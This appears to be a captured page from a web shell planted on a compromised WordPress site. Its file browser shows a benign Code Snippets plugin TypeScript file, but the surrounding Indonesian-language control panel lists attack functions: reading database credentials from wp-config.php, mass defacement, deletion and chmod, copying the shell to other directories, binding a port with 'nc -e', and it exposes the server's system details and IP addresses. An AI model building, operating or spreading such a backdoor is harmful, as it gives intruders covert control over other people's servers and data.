WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / code-snippets / js / services / manage / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/code-snippets/js/services/manage/activation.ts (2.31 KB)
import { __ } from '@wordpress/i18n'
import { updateSnippet } from './requests'
import type { Snippet } from '../../types/Snippet'

/**
 * Update the snippet count of a specific view
 * @param element
 * @param increment
 */
const updateViewCount = (element: HTMLElement | null, increment: boolean) => {
	if (element?.textContent) {
		let count = parseInt(element.textContent.replace(/\((?<count>\d+)\)/, '$1'), 10)
		count += increment ? 1 : -1
		element.textContent = `(${count})`
	} else {
		console.error('Could not update view count.', element)
	}
}

/**
 * Activate an inactive snippet, or deactivate an active snippet
 * @param link
 * @param event
 */
export const toggleSnippetActive = (link: HTMLAnchorElement, event: Event) => {
	const row = link.parentElement?.parentElement // Switch < cell < row
	if (!row) {
		console.error('Could not toggle snippet active status.', row)
		return
	}

	const match = /\b(?:in)?active-snippet\b/.exec(row.className)
	if (!match) {
		return
	}

	event.preventDefault()

	const activating = 'inactive-snippet' === match[0]
	const snippet: Partial<Snippet> = { active: activating }

	updateSnippet('active', row, snippet, response => {
		const button: HTMLAnchorElement | null = row.querySelector('.snippet-activation-switch')

		if (response.success) {
			row.className = activating
				? row.className.replace(/\binactive-snippet\b/, 'active-snippet')
				: row.className.replace(/\bactive-snippet\b/, 'inactive-snippet')

			const views = document.querySelector('.subsubsub')
			const activeCount = views?.querySelector<HTMLElement>('.active .count')
			const inactiveCount = views?.querySelector<HTMLElement>('.inactive .count')

			if (activeCount) {
				updateViewCount(activeCount, activating)
			}

			if (inactiveCount) {
				updateViewCount(inactiveCount, activating)
			}

			if (button) {
				button.title = activating ? __('Deactivate', 'code-snippets') : __('Activate', 'code-snippets')
			}
		} else {
			row.className += ' erroneous-snippet'

			if (button) {
				button.title = __('An error occurred when attempting to activate', 'code-snippets')
			}
		}
	})
}

export const handleSnippetActivationSwitches = () => {
	for (const link of document.getElementsByClassName('snippet-activation-switch')) {
		link.addEventListener('click', event => toggleSnippetActive(<HTMLAnchorElement> link, event))
	}
}
namawaktuukuranownerpermaksi
..
activation.ts 2026-07-30 21:372.31 KB 76129f60960:kunden-xw-x-----
edt
cloud.ts 2026-07-30 21:371.5 KB 76129f60960:kunden-xw-x-----
edt
index.ts 2026-07-30 21:37170 B 76129f60960:kunden-xw-x-----
edt
priority.ts 2026-07-30 21:37740 B 76129f60960:kunden-xw-x-----
edt
requests.ts 2026-07-30 21:371.84 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/code-snippets/js/services/manage
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK